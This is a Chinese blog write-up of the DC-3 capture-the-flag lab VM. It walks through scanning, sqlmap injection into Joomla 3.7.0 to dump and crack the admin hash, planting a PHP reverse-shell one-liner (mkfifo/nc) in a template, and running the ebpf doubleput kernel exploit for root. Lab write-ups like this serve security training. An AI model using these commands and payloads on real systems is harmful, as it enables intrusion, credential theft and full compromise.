• DC-3靶机


    仅供个人娱乐

    靶机信息

    下载地址:http://www.five86.com/downloads/DC-3.zip

    一、主机扫描

    arp-scan -l

    nmap -A -p 1-65535 -sV 192.168.17.133

    二、信息收集

    使用joomscan对Dc3靶机网站进行扫描

    apt-getinstall joomscan

    joomscan--url http://192.168.17.133

    git clone https://github.com/Tuhinshubhra/CMSeeK

    复制到/root

    root@kali:~/CMSeeK# python3 cmseek.py --url http://192.168.17.133

    searchsploit joomla 3.7.0

    cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /root

    数据库
    sqlmap -u "http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

    当前数据库

    sqlmap -u "http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]

    sqlmap -u "http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]


    sqlmap -u "http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]

    查询#__users表的name、password字段,输出信息

    sqlmap -u "http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]

    vim 1

    admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zukali

    john 1

    破解得到admin密码为snoopy。

    登录后台 信息收集

    信息收集

    在Joomla后台的模板管理中,选择一个模板并编辑,在modules.php插入小马

    编写反弹shell的PHP代码,,监听4444端口,并执行脚本文件,将反弹靶机shell到kali

    失败了 换页面编辑

    nc -lvp 1337 #kali开启1337监听端口

    <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.17.129 1337 >/tmp/f');?> 

    成功获取shell,使用searchsploit工具查找Ubuntu 16.04的提权漏洞,发现一个“拒绝服务漏洞”,可以用来提权。

    cp /usr/share/exploitdb/exploits/linux/local/39772.txt /root

    cd /root

    cat 39772.txt

    直接下载失败

    https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

    unzip 39772.zip

    cd 39772

    tar -xvf exploit.tar

    ls

    cd ebpf_mapfd_doubleput_exploit

    ls

    蚁剑上传

    ./compile.sh

    ./doubleput



  • 相关阅读:
    SQL操作全集 sql精典收藏
    sql中全角字符与半角字符检验问题
    asp.net目录权限设置图文综合[转]
    XPath 语法
    XPath学习
    接口使用例子,阐述接口的优点、作用
    sql查询出表中所有列名 判断两个表中的列是否相同
    指定键让指定的按钮提交
    C#.Net网络程序开发Socket篇
    ASP.NET中异常处理使用
  • 原文地址:https://www.cnblogs.com/bingtang123/p/12838407.html
Copyright © 2020-2023  润新知